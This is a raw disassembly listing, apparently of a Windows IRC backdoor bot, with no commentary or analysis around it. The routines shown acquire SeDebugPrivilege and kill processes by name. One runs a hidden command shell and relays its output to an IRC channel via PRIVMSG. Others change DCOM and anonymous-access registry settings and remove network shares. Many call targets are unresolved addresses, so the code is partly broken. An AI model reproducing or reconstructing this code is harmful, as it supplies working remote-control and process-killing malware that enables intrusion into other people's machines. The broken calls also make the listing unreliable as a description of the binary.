		cmp	dword_4CAEB8, ebx
		jz	loc_4198BB
		push	1
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx
		push	ebx
		push	0Fh
		call	dword_4CAFC4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp+var_8], edi
		jz	loc_4198AE
		lea	eax, [ebp+var_130]
		mov	[ebp+var_130], 128h
		push	eax
		push	edi
		call	dword_4CAFA8
		mov	esi, dword_427068
		test	eax, eax
		jz	loc_4198A9
		lea	eax, [ebp+var_130]
		push	eax
		push	edi
		call	dword_4CAEB8
		test	eax, eax
		jz	loc_4198A9
		mov	edi, dword_427084
		mov	ebx, 1F0FFFh

loc_419780:				; CODE XREF: sub_4196BC+1E5j
		xor	eax, eax
		cmp	[ebp+arg_10], eax
		jz	short loc_4197E7
		mov	[ebp+var_4], offset off_4396F8

loc_41978E:				; CODE XREF: sub_4196BC+F3j
		mov	eax, [ebp+var_4]
		push	dword ptr [eax]
		lea	eax, [ebp+var_10C]
		push	eax
		nop
		call	near ptr 28011EEh
		test	eax, eax
		jz	short loc_4197B6
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], offset dword_439758
		jb	short loc_41978E
		jmp	loc_41988F
; ---------------------------------------------------------------------------

loc_4197B6:				; CODE XREF: sub_4196BC+E6j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		test	eax, eax
		mov	[ebp+var_4], eax
		jz	loc_41988F
		push	0
		push	eax
		nop
		call	near ptr 26F0C98h
		test	eax, eax
		jnz	loc_41988F

loc_4197DD:				; CODE XREF: sub_4196BC+1B9j
		push	[ebp+var_4]
		call	esi
		jmp	loc_41988F
; ---------------------------------------------------------------------------

loc_4197E7:				; CODE XREF: sub_4196BC+C9j
		cmp	[ebp+arg_C], eax
		jnz	loc_41987A
		cmp	[ebp+arg_4], eax
		jz	loc_41988F
		push	[ebp+var_128]
		push	8
		call	dword_4CAFC4
		cmp	[ebp+arg_14], 0
		mov	[ebp+var_4], eax
		mov	[ebp+var_354], 224h
		jz	short loc_41983A
		lea	ecx, [ebp+var_354]
		push	ecx
		push	eax
		call	dword_4CAE64
		push	[ebp+var_128]
		test	eax, eax
		jz	short loc_419840
		lea	eax, [ebp+var_234]
		jmp	short loc_419846
; ---------------------------------------------------------------------------

loc_41983A:				; CODE XREF: sub_4196BC+15Cj
		push	[ebp+var_128]

loc_419840:				; CODE XREF: sub_4196BC+174j
		lea	eax, [ebp+var_10C]

loc_419846:				; CODE XREF: sub_4196BC+17Cj
		push	eax
		lea	eax, [ebp+var_554]
		push	offset aSD_0	; " %s (%d)"
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_554]
		push	1
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h
		jmp	loc_4197DD
; ---------------------------------------------------------------------------

loc_41987A:				; CODE XREF: sub_4196BC+12Ej
		push	[ebp+arg_C]
		lea	eax, [ebp+var_10C]
		push	eax
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4198C2

loc_41988F:				; CODE XREF: sub_4196BC+F5j
					; sub_4196BC+10Aj ...
		lea	eax, [ebp+var_130]
		push	eax
		push	[ebp+var_8]
		call	dword_4CAEB8
		test	eax, eax
		jnz	loc_419780
		xor	ebx, ebx

loc_4198A9:				; CODE XREF: sub_4196BC+9Dj
					; sub_4196BC+B3j
		push	[ebp+var_8]
		call	esi

loc_4198AE:				; CODE XREF: sub_4196BC+77j
		push	ebx
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419651
		pop	ecx
		pop	ecx

loc_4198BB:				; CODE XREF: sub_4196BC+3Aj
					; sub_4196BC+46j ...
		xor	eax, eax

loc_4198BD:				; CODE XREF: sub_4196BC+22Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_4198C2:				; CODE XREF: sub_4196BC+1D1j
		push	[ebp+var_128]
		push	0
		push	ebx
		call	edi
		push	[ebp+var_8]
		mov	edi, eax
		call	esi
		push	0
		push	edi
		call	near ptr 26F0C98h
		nop
		test	eax, eax
		jnz	short loc_4198E6
		push	edi
		call	esi
		jmp	short loc_4198BB
; ---------------------------------------------------------------------------

loc_4198E6:				; CODE XREF: sub_4196BC+223j
		push	1
		pop	eax
		jmp	short loc_4198BD
sub_4196BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4198EB	proc near		; DATA XREF: sub_401ACD+26CDo

var_298		= byte ptr -298h
var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 298h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		push	offset unk_4398F8
		rep movsd
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_8], esi
		pop	ecx
		jnz	short loc_41994A
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h

loc_41994A:				; CODE XREF: sub_4198EB+3Dj
		push	[ebp+var_10]
		lea	eax, [ebp+var_94]
		push	esi
		push	esi
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		call	sub_4196BC
		add	esp, 18h
		test	eax, eax
		jnz	short loc_419972
		push	offset unk_4398D4
		jmp	short loc_419977
; ---------------------------------------------------------------------------

loc_419972:				; CODE XREF: sub_4198EB+7Ej
		push	offset unk_4398B0

loc_419977:				; CODE XREF: sub_4198EB+85j
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_41B886
		cmp	[ebp+var_8], esi
		pop	ecx
		pop	ecx
		jnz	short loc_4199AA
		push	esi
		lea	eax, [ebp+var_298]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	[ebp+var_98]
		call	sub_409A72
		add	esp, 14h

loc_4199AA:				; CODE XREF: sub_4198EB+9Dj
		lea	eax, [ebp+var_298]
		push	eax
		call	sub_4151AC
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 26D0000h
		nop
		pop	edi
		pop	esi
sub_4198EB	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4199C9	proc near		; CODE XREF: sub_401ACD+78B3p
					; sub_40B231+53p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		push	1
		pop	edi
		push	[esp+8+arg_0]
		push	0
		push	1F0FFFh
		nop
		call	near ptr 26707E3h
		mov	esi, eax
		test	esi, esi
		jz	short loc_4199FB
		push	0
		push	esi
		call	near ptr 26F0C98h
		nop
		test	eax, eax
		jnz	short loc_4199FB
		push	esi
		xor	edi, edi
		nop
		call	near ptr 2650939h

loc_4199FB:				; CODE XREF: sub_4199C9+1Aj
					; sub_4199C9+27j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_4199C9	endp

; ---------------------------------------------------------------------------
dword_419A00	dd 6AF63356h, 56565601h, 0ADE85656h, 83FFFFFCh,	35FF18C4h
					; DATA XREF: ___:004015EEo
		dd 4396F4h, 6B17E890h, 0E3EB0225h

; =============== S U B	R O U T	I N E =======================================



sub_419A20	proc near		; CODE XREF: sub_419A50+2Ap
					; sub_419A88+7Ep ...
		mov	eax, dword_4DB228
		push	esi
		mov	esi, dword_427068
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A34
		push	eax
		call	esi

loc_419A34:				; CODE XREF: sub_419A20+Fj
		mov	eax, dword_4DB230
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A41
		push	eax
		call	esi

loc_419A41:				; CODE XREF: sub_419A20+1Cj
		mov	eax, dword_4DB224
		cmp	eax, 0FFFFFFFFh
		jz	short loc_419A4E
		push	eax
		call	esi

loc_419A4E:				; CODE XREF: sub_419A20+29j
		pop	esi
		retn
sub_419A20	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A50	proc near		; CODE XREF: sub_401ACD+7604p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_0]
		call	sub_41AFE0
		pop	ecx
		mov	[ebp+var_4], eax
		lea	ecx, [ebp+var_4]
		push	0
		push	ecx
		push	eax
		push	[ebp+arg_0]
		push	dword_4DB22C
		call	near ptr 26E0000h
		nop
		test	eax, eax
		jnz	short loc_419A83
		call	sub_419A20
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------

loc_419A83:				; CODE XREF: sub_419A50+28j
		push	1
		pop	eax
		leave
		retn
sub_419A50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419A88	proc near		; CODE XREF: sub_419B0F+D3p
					; sub_419B0F+F2p ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	offset dword_43D158
		push	[ebp+arg_4]
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419ACB
		push	7D0h
		call	near ptr 2670535h
		nop
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	offset aPrivmsgSS ; "PRIVMSG %s	:%s\r"
		push	eax
		call	sub_41B886
		add	esp, 10h
		jmp	short loc_419AE2
; ---------------------------------------------------------------------------

loc_419ACB:				; CODE XREF: sub_419A88+1Aj
		push	[ebp+arg_8]
		lea	eax, [ebp+var_200]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_41B886
		add	esp, 0Ch

loc_419AE2:				; CODE XREF: sub_419A88+41j
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CAFF4
		test	eax, eax
		jg	short loc_419B0B
		call	sub_419A20

loc_419B0B:				; CODE XREF: sub_419A88+7Cj
		xor	eax, eax
		leave
		retn
sub_419A88	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419B0F	proc near		; DATA XREF: sub_419C64+170o

var_20C		= byte ptr -20Ch
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 20Ch
		push	ebx
		push	esi
		push	edi
		mov	esi, 200h
		xor	edi, edi
		mov	ebx, offset dword_4DB234

loc_419B27:				; CODE XREF: sub_419B0F+79j
					; sub_419B0F+DBj
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	edi
		push	edi
		push	eax
		lea	eax, [ebp+var_20C]
		push	esi
		push	eax
		push	dword_4DB228
		nop
		call	near ptr 2801AB2h
		test	eax, eax
		jz	loc_419BF5
		cmp	[ebp+var_4], edi
		jnz	short loc_419B8A
		lea	eax, [ebp+var_8]
		push	eax
		push	dword_4DB224
		nop
		call	near ptr 280162Ah
		test	eax, eax
		jz	short loc_419B80
		cmp	[ebp+var_8], 103h
		jnz	loc_419C19

loc_419B80:				; CODE XREF: sub_419B0F+62j
		push	0Ah
		nop
		call	near ptr 2670535h
		jmp	short loc_419B27
; ---------------------------------------------------------------------------

loc_419B8A:				; CODE XREF: sub_419B0F+4Ej
		xor	eax, eax
		cmp	[ebp+var_4], edi
		jbe	short loc_419BA1

loc_419B91:				; CODE XREF: sub_419B0F+90j
		cmp	[ebp+eax+var_20C], 0Ah
		jz	short loc_419BEF
		inc	eax
		cmp	eax, [ebp+var_4]
		jb	short loc_419B91

loc_419BA1:				; CODE XREF: sub_419B0F+80j
		mov	[ebp+var_4], esi

loc_419BA4:				; CODE XREF: sub_419B0F+E4j
		push	esi
		lea	eax, [ebp+var_20C]
		push	edi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_C]
		push	edi
		push	eax
		push	[ebp+var_4]
		lea	eax, [ebp+var_20C]
		push	eax
		push	dword_4DB228
		call	near ptr 26F0000h
		nop
		test	eax, eax
		jz	short loc_419C41
		lea	eax, [ebp+var_20C]
		push	eax
		push	ebx
		push	dword_4DB268
		call	sub_419A88
		add	esp, 0Ch
		jmp	loc_419B27
; ---------------------------------------------------------------------------

loc_419BEF:				; CODE XREF: sub_419B0F+8Aj
		inc	eax
		mov	[ebp+var_4], eax
		jmp	short loc_419BA4
; ---------------------------------------------------------------------------

loc_419BF5:				; CODE XREF: sub_419B0F+45j
		push	offset unk_439980
		push	ebx
		push	dword_4DB268
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	1
		nop
		call	near ptr 26D0000h

loc_419C19:				; CODE XREF: sub_419B0F+6Bj
		call	sub_419A20
		push	offset unk_439958
		push	ebx
		push	dword_4DB268
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26D0000h

loc_419C41:				; CODE XREF: sub_419B0F+C3j
		push	offset unk_439928
		push	ebx
		push	dword_4DB268
		call	sub_419A88
		push	[ebp+arg_0]
		call	sub_40B412
		add	esp, 10h
		push	edi
		nop
		call	near ptr 26D0000h
sub_419B0F	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419C64	proc near		; CODE XREF: sub_401ACD+2507p

var_378		= byte ptr -378h
var_178		= byte ptr -178h
var_74		= dword	ptr -74h
var_48		= dword	ptr -48h
var_44		= word ptr -44h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= byte ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 378h
		push	ebx
		push	esi
		push	edi
		call	sub_419A20
		xor	esi, esi
		lea	eax, [ebp+var_178]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset dword_433544
		push	esi
		call	dword_4CB060
		test	eax, eax
		jz	loc_419D5E
		push	1
		lea	eax, [ebp+var_1C]
		pop	ebx
		mov	edi, dword_4270FC
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		mov	[ebp+var_1C], 0Ch
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		mov	[ebp+var_14], ebx
		mov	[ebp+var_18], esi
		call	edi
		test	eax, eax
		jz	loc_419D5E
		lea	eax, [ebp+var_1C]
		push	esi
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		call	edi
		test	eax, eax
		jz	loc_419D5E
		mov	edi, dword_4270F8
		push	3
		push	esi
		push	esi
		push	offset dword_4DB22C
		call	edi
		push	eax
		push	[ebp+var_8]
		call	edi
		push	eax
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_419D5E
		push	10h
		lea	eax, [ebp+var_2C]
		push	esi
		push	eax
		call	sub_41B590
		push	44h
		lea	eax, [ebp+var_74]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+var_4]
		add	esp, 18h
		mov	[ebp+var_3C], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_38], eax
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_2C]
		mov	[ebp+var_74], edi
		push	eax
		lea	eax, [ebp+var_74]
		push	eax
		push	esi
		push	esi
		push	esi
		push	ebx
		push	esi
		mov	ebx, offset dword_43D158
		push	esi
		lea	eax, [ebp+var_178]
		push	ebx
		push	eax
		mov	[ebp+var_48], 101h
		mov	[ebp+var_44], si
		nop
		call	near ptr 2650C30h
		test	eax, eax
		jnz	short loc_419D66

loc_419D5E:				; CODE XREF: sub_419C64+2Fj
					; sub_419C64+5Cj ...
		or	eax, 0FFFFFFFFh
		jmp	loc_419E14
; ---------------------------------------------------------------------------

loc_419D66:				; CODE XREF: sub_419C64+F8j
		push	[ebp+var_4]
		mov	edi, dword_427068
		call	edi
		mov	eax, [ebp+var_10]
		push	[ebp+var_28]
		mov	dword_4DB228, eax
		mov	eax, [ebp+var_8]
		mov	dword_4DB230, eax
		mov	eax, [ebp+var_2C]
		mov	dword_4DB224, eax
		call	edi
		mov	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], esi
		mov	dword_4DB268, eax
		jz	short loc_419DA0
		push	[ebp+arg_4]
		jmp	short loc_419DA1
; ---------------------------------------------------------------------------

loc_419DA0:				; CODE XREF: sub_419C64+135j
		push	ebx

loc_419DA1:				; CODE XREF: sub_419C64+13Aj
		push	offset dword_4DB234
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	0Ah
		push	offset unk_4399E4
		call	sub_40B0F6
		mov	edi, eax
		mov	ecx, [ebp+var_24]
		imul	edi, 234h
		add	esp, 0Ch
		mov	dword_43DEE8[edi], ecx
		lea	ecx, [ebp+var_30]
		push	ecx
		push	esi
		push	eax
		push	offset sub_419B0F
		push	esi
		push	esi
		nop
		call	near ptr 26705F4h
		cmp	eax, esi
		mov	dword_43DEF4[edi], eax
		jnz	short loc_419E12
		call	near ptr 2670D55h
		nop
		push	eax
		lea	eax, [ebp+var_378]
		push	offset unk_4399B0
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_378]
		push	eax
		call	sub_4151AC
		add	esp, 10h

loc_419E12:				; CODE XREF: sub_419C64+185j
		xor	eax, eax

loc_419E14:				; CODE XREF: sub_419C64+FDj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_419C64	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E19	proc near		; DATA XREF: sub_401ACD+2E0Bo

var_98		= dword	ptr -98h
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	26h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_98]
		rep movsd
		pop	edi
		pop	esi
		push	[ebp+var_8]
		cmp	[ebp+var_10], 0
		mov	dword ptr [eax+94h], 1
		lea	eax, [ebp+var_94]
		push	[ebp+var_C]
		push	eax
		push	[ebp+var_98]
		jz	short loc_419E60
		call	sub_419E79
		jmp	short loc_419E65
; ---------------------------------------------------------------------------

loc_419E60:				; CODE XREF: sub_419E19+3Ej
		call	sub_41A19D

loc_419E65:				; CODE XREF: sub_419E19+45j
		add	esp, 10h
		push	[ebp+var_14]
		call	sub_40B412
		pop	ecx
		push	0
		nop
		call	near ptr 26D0000h
sub_419E19	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419E79	proc near		; CODE XREF: sub_419E19+40p

var_214		= byte ptr -214h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 214h
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_4CB074, edi
		jnz	loc_419FAB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	edi
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB014
		test	eax, eax
		jnz	short loc_419F04
		mov	ax, word_43875C
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	edi
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CAFC8
		test	eax, eax
		jz	short loc_419EE6
		push	offset dword_439C80
		jmp	short loc_419EEB
; ---------------------------------------------------------------------------

loc_419EE6:				; CODE XREF: sub_419E79+64j
		push	offset dword_439C60

loc_419EEB:				; CODE XREF: sub_419E79+6Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF80
		jmp	short loc_419F17
; ---------------------------------------------------------------------------

loc_419F04:				; CODE XREF: sub_419E79+36j
		lea	eax, [ebp+var_214]
		push	offset dword_439C30
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_419F17:				; CODE XREF: sub_419E79+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419F36
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_419F36:				; CODE XREF: sub_419E79+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CB014
		test	eax, eax
		jnz	short loc_419FA4
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CAFC8
		test	eax, eax
		jz	short loc_419F86
		push	offset dword_439BE0
		jmp	short loc_419F8B
; ---------------------------------------------------------------------------

loc_419F86:				; CODE XREF: sub_419E79+104j
		push	offset dword_439BAC

loc_419F8B:				; CODE XREF: sub_419E79+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF80
		jmp	short loc_419FBE
; ---------------------------------------------------------------------------

loc_419FA4:				; CODE XREF: sub_419E79+E2j
		push	offset dword_439B70
		jmp	short loc_419FB0
; ---------------------------------------------------------------------------

loc_419FAB:				; CODE XREF: sub_419E79+13j
		push	offset dword_439B40

loc_419FB0:				; CODE XREF: sub_419E79+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_419FBE:				; CODE XREF: sub_419E79+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_419FDD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_419FDD:				; CODE XREF: sub_419E79+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		cmp	dword_4CB09C, edi
		pop	ecx
		jnz	loc_41A158
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi

loc_41A000:				; CODE XREF: sub_419E79+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CAEE8
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A09D
		cmp	eax, 0EAh
		jz	short loc_41A09D
		mov	esi, offset off_439A08

loc_41A031:				; CODE XREF: sub_419E79+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_418C6B
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A048
		push	offset dword_439B1C
		jmp	short loc_41A04D
; ---------------------------------------------------------------------------

loc_41A048:				; CODE XREF: sub_419E79+1C6j
		push	offset dword_439AF0

loc_41A04D:				; CODE XREF: sub_419E79+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A080
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A080:				; CODE XREF: sub_419E79+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_439A28
		jb	short loc_41A031
		jmp	loc_41A135
; ---------------------------------------------------------------------------

loc_41A09D:				; CODE XREF: sub_419E79+1AAj
					; sub_419E79+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A12C

loc_41A0AC:				; CODE XREF: sub_419E79+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41D817
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A121
		push	edi
		call	sub_418B58
		push	eax
		push	0
		call	sub_418C6B
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A0DB
		push	offset dword_439ACC
		jmp	short loc_41A0E0
; ---------------------------------------------------------------------------

loc_41A0DB:				; CODE XREF: sub_419E79+259j
		push	offset dword_439AA0

loc_41A0E0:				; CODE XREF: sub_419E79+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A114
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A114:				; CODE XREF: sub_419E79+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx

loc_41A121:				; CODE XREF: sub_419E79+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A0AC
		xor	edi, edi

loc_41A12C:				; CODE XREF: sub_419E79+22Dj
		push	[ebp+var_8]
		call	dword_4CB034

loc_41A135:				; CODE XREF: sub_419E79+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A000
		lea	eax, [ebp+var_214]
		push	offset dword_439A78
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A16B
; ---------------------------------------------------------------------------

loc_41A158:				; CODE XREF: sub_419E79+177j
		lea	eax, [ebp+var_214]
		push	offset dword_439A48
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A16B:				; CODE XREF: sub_419E79+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A189
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		add	esp, 14h

loc_41A189:				; CODE XREF: sub_419E79+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_4151AC
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_419E79	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A19D	proc near		; CODE XREF: sub_419E19:loc_419E60p

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CB074, ebx
		push	esi
		jnz	loc_41A2CB
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CB014
		test	eax, eax
		jnz	short loc_41A228
		mov	ax, word_4387A0
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CAFC8
		test	eax, eax
		jz	short loc_41A20A
		push	offset dword_439DF8
		jmp	short loc_41A20F
; ---------------------------------------------------------------------------

loc_41A20A:				; CODE XREF: sub_41A19D+64j
		push	offset dword_439DDC

loc_41A20F:				; CODE XREF: sub_41A19D+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CAF80
		jmp	short loc_41A23B
; ---------------------------------------------------------------------------

loc_41A228:				; CODE XREF: sub_41A19D+36j
		lea	eax, [ebp+var_220]
		push	offset dword_439C30
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx

loc_41A23B:				; CODE XREF: sub_41A19D+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A25A
		push	1
		lea	eax, [ebp+var_220]
